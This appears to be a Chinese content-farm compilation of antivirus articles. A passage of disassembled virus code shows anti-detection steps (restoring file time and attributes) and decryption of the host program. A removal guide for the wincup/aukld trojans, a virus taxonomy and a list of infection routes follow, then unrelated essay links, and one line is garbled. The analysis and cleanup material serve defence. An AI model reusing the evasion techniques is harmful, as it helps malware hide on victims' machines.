00412EEA 8B87 B8290000 MOV EAX,DWORD PTR DS:[EDI+29B8]

00412EF0 83E8 2C   SUB EAX,2C

00412EF3 83C0 14   ADD EAX,14

00412EF6 50     PUSH EAX

00412EF7 8B87 B8290000 MOV EAX,DWORD PTR DS:[EDI+29B8]

00412EFD 83E8 2C   SUB EAX,2C

00412F00 83C0 0C   ADD EAX,0C

00412F03 50     PUSH EAX

00412F04 8B87 B8290000 MOV EAX,DWORD PTR DS:[EDI+29B8]

00412F0A 83E8 2C   SUB EAX,2C

00412F0D 83C0 04   ADD EAX,4

00412F10 50     PUSH EAX

00412F11 FFB7 882E0000 PUSH DWORD PTR DS:[EDI+2E88]

00412F17 FF97 B52A0000 CALL DWORD PTR DS:[EDI+2AB5]

00412F1D FFB7 882E0000 PUSH DWORD PTR DS:[EDI+2E88]

00412F23 FF97 792A0000 CALL DWORD PTR DS:[EDI+2A79] \\SetFileTime 恢复文件时间,防止被发现

00412F29 81BF 412B0000 88>CMP DWORD PTR DS:[EDI+2B41],88888888

00412F33 74 17    JE SHORT CLSPACK.00412F4C

00412F35 81BF 4D2B0000 CC>CMP DWORD PTR DS:[EDI+2B4D],CCCCCCCC

00412F3F 74 0B    JE SHORT CLSPACK.00412F4C

00412F41 68 00100000  PUSH 1000

00412F46 FF97 A92A0000 CALL DWORD PTR DS:[EDI+2AA9] \\Sleep

00412F4C FFB7 842E0000 PUSH DWORD PTR DS:[EDI+2E84]

00412F52 FFB7 B4290000 PUSH DWORD PTR DS:[EDI+29B4]

00412F58 FF97 A12A0000 CALL DWORD PTR DS:[EDI+2AA1] \\SetFileAttrubutes 恢复文件属性

00412F5E 5E     POP ESI

00412F5F C3     RETN

12.则解密原宿主程序代码(总共200字节),

恢复原AddressOfEntryPoint,执行原程序.

篇17:关于wincup.exe与aukld.exe的分析病毒防治

前几天分析了c:\windows\wincup\wincup.exe ...这俩天又跑出个同名的文件夹..路径为c:\windows\temp\wincup\wincup.exe和c:\windows\temp\aukld\aukld.exe 前俩天卡巴就报了..瑞星好象昨天才报..病毒名:trojan.dl.adload.io和trojan.dl.adload.ip ...

这俩天关于此求助的人也多了..今天拿到样本就分析..

运行wincup.exe ..释放文件aucup和extern.ini .. 还有~de5.tmp (文件名中的数字会不同)..创建服务o23 - nt 服务: aucup - unknown owner - c:\windows\temp\wincup\wincup.exe ... 访问网络..

运行aukld.exe ..释放文件inskld和~de5.tmp(文件中的数字会不同) ...创建服务o23 - nt 服务: aukld - unknown owner - c:\windows\temp\aukld\aukld.exe ..访问网络..

访问网络后..下载winkalendar ...hijackthis的021项会体现出来..o21 - ssodl: systime - {724c75f1-b757-408d-a50a-4cf99da35d73} - c:\progra~1\winkld\winkld.dll ...此项可能出现也有可能不出现...

【解决】

结束进程

c:\windows\wincup\wincup.exe(可能会有我这一俩次测试都出现这项..)

开始-控制面板-添加与删除程序

卸载winkalendar,winwrcup,vision communicate ....(有的会没有..)

开始-控制面板-管理工具-服务

禁用掉 aucup , aukld , winwrcup ,jmediaservice 这四个服务..(有的会没有..)

开始-运行-regedit

注册表

展开

hkey_local_machine\system\currentcontrolset\services\

hkey_local_machine\system\controlset001\services\

hkey_local_machine\system\controlset002\services\

删除aucup , aukld , jmediaservice , winwrcup 这四个文件夹...(这三处地方仔细检查..有的有..有的没有..)

展开

hkey_local_machine\system\currentcontrolset\enum\root\

hkey_local_machine\system\controlset001\enum\root\

hkey_local_machine\system\controlset002\enum\root\

删除legacy_aukld , legacy_aucup , legacy_jmediaservice , legacy_winwrcup这四个文件夹...(同上..仔细找找..必须使用icesword来删除..)

展开

hkey_classes_root\clsid\

删除{724c75f1-b757-408d-a50a-4cf99da35d73} 这文件夹...(有可能没有这项..)

重启后删除..

c:\windows\temp\wincup

c:\windows\temp\aukld

c:\progra~1\winkld

c:\windows\temp\inskld(文件夹内是同时释放的一个.exe文件)

c:\windows\temp\inscup(文件夹内是同时释放的一个.exe文件)

c:\windows\wincup

------------------------------------------------------------------------

删除注册表的时候还是得借助 icesword 来删除..

下载地址:forum.ikaka.com/topic.asp?board=28&artid=69

关 键 字:病毒防治

篇18:病毒的三种分类法病毒防治

病毒的三种分类法

病毒的定义很简单:任何可执行的会自动复制自己、影响计算机正常运行的代码都被称做病毒,病毒导致的后果或损害是多样的,通常隐藏在邮件的附件中或下载的文件中。

总体来讲有戎植《荆

(1)文件感染型:将自己附在可执行程序中,例如.com, .exe文件,还有一些隐藏在操作系统的执行文件中,包括.sys, .ovl, .prg, .dll文件。当程序加载时,病毒进入系统。木马病毒通常隐藏在看起来没有危害的应用程序中,但可以做为病毒繁殖的跳板。

(2)引导扇区型:感染系统区域的可执行代码,主要影响软盘上的dos引导扇区和硬盘上的主引导扇区。一旦加载进系统,启动时病毒会将自己加载在内存中,很难清除。然后就开始感染其他被执行的文件,唯一办法就是关闭电脑。影响很大的一类是蠕虫病毒,它并不改变文件,但将自己复制到系统内存中,而这个过程对用户通常是不可见的。病毒的影响通常到系统内存被消耗完并且已经呈停滞状态时才会被发现。

3、宏病毒:常见病毒,但通常破坏力没有那么强。通常使用vb脚本,宏病毒影响微软的office组件或类似的应用软件,通常通过邮件传播。高发的例子是的美丽莎病毒,通过影响outlook来分发自己并寄给其他收件人。

根据病毒破坏的能力可划分为以下几种:

1无害型 除了传染时减少磁盘的可用空间外,对系统没有其他影响。

2无危险型 这类病毒仅仅是减少内存、显示图像、发出声音及同类音响。

3危险型 这类病毒在计算机系统操作中造成严重的错误。

4非常危险型 这类病毒删除程序、破坏数据、清除系统内存区和操作系统中重要的信息。

这些病毒对系统造成的危害,并不是本身的算法中存在危险的调用,而是当它们传染时会引起无法预料的和灾难性的破坏。由病毒引起其他的程序产生的错误也会破坏文件和扇区,这些病毒也按照它们引起的破坏能力划分。一些现在的无害型病毒也可能会对新版的dos、windows和其他操作系统造成破坏。例如:在早期的病毒中,有一个“denzuk”病毒在360kb磁盘上很好的工作,不会造成任何破坏,但是在后来的高密度软盘上却能引起大量的数据丢失,

根据病毒特有的算法,病毒又可以划分为伴随型病毒、蠕虫病毒等等:

1伴随型病毒 这一类病毒并不改变文件本身,它们根据算法产生exe文件的伴随体,具有同样的名字和不同的扩展名(com),例如:xcopy.exe的伴随体是xcopy.com。病毒把自身写入com文件并不改变exe文件,当dos加载文件时,伴随体优先被执行到,再由伴随体加载执行原来的exe文件。

2“蠕虫”型病毒 通过计算机网络传播,不改变文件和资料信息,利用网络从一台机器的内存传播到其他机器的内存,计算网络地址,将自身的病毒通过网络发送。有时它们在系统存在,一般除了内存不占用其他资源。

除了伴随和“蠕虫”型,其他病毒均可称为寄生型病毒,它们依附在系统的引导扇区或文件中,通过系统的功能进行传播,按算法又可以分为:

1)练习型病毒 病毒自身包含错误,不能进行很好地传播,例如一些病毒在调试阶段。

2)诡秘型病毒 它们一般不直接修改dos中断和扇区数据,而是通过设备技术和文件缓冲区等dos内部修改,不易看到资源,使用比较高级的技术。利用dos空闲的数据区进行工作。

3)变型病毒 又称幽灵病毒,这一类病毒使用一个复杂的算法,使自己每传播一份都具有不同的内容和长度。它们一般的做法是一段混有无关指令的解码算法和被变化过的病毒体组成。

关 键 字:病毒防治

篇19:病毒的传播途径病毒防治

病毒的传播途径

计算机病毒的传播主要是通过拷贝文件、传送文件、运行程序等方式进行,而主要的传播途径有以下几种:

1、硬盘

因为硬盘存储数据多,在其互相借用或维修时,将病毒传播到其他的硬盘或软盘上。

2、软盘

软盘主要是携带方便,早期时候在网络还不普及时,为了计算机之间互相传递文件,经常使用软盘,这样,通过软盘,也会将一台机子的病毒传播到另一台机子。

3、光盘

光盘的存储容量大,所以大多数软件都刻录在光盘上,以便互相传递;由于各普通用户的经济收入不高,购买正版软件的人就少,一些非法商人就将软件放在光盘上,因其只读,所以上面即使有病毒也不能清除,商人在制作过程中难免会将带毒文件刻录在上面,

4、网络

在电脑日益普及的今天,人们通过计算机网络,互相传递文件、信件,这样给病毒的传播速度又加快了;因为资源共享,人们经常在网上下载免费、共享软件,病毒也难免会夹在其中。

关 键 字:病毒防治

疫情当前保护环境作文

《长城》语文教学设计方案

续写《快乐星球》五作文

人与动物的作文小学

六年级人与动物作文

人与动物英语作文

人与动物作文

人与动物的作文

八年级下册科学答案

初一人与动物的作文800字

小燕病毒分析报告病毒防治
《小燕病毒分析报告病毒防治.doc》
将本文的Word文档下载到电脑,方便收藏和打印
推荐度:
点击下载文档

【小燕病毒分析报告病毒防治(通用19篇)】相关文章:

小议荧屏错别字作文650字2022-09-22

六年级关于人与动物作文600字2022-05-06

六年级人与动物作文600字散文2022-05-07

人与动物的作文1200字2022-09-06

人是动物作文2023-12-30

人与动物之间情感作文2023-06-10

关于保护环境的记叙文作文800字2023-09-21

人与动物对话作文500字2022-11-05

抗击病毒疫情的作文2022-09-03

快乐王子读后感800字议论文2023-02-28

点击下载本文文档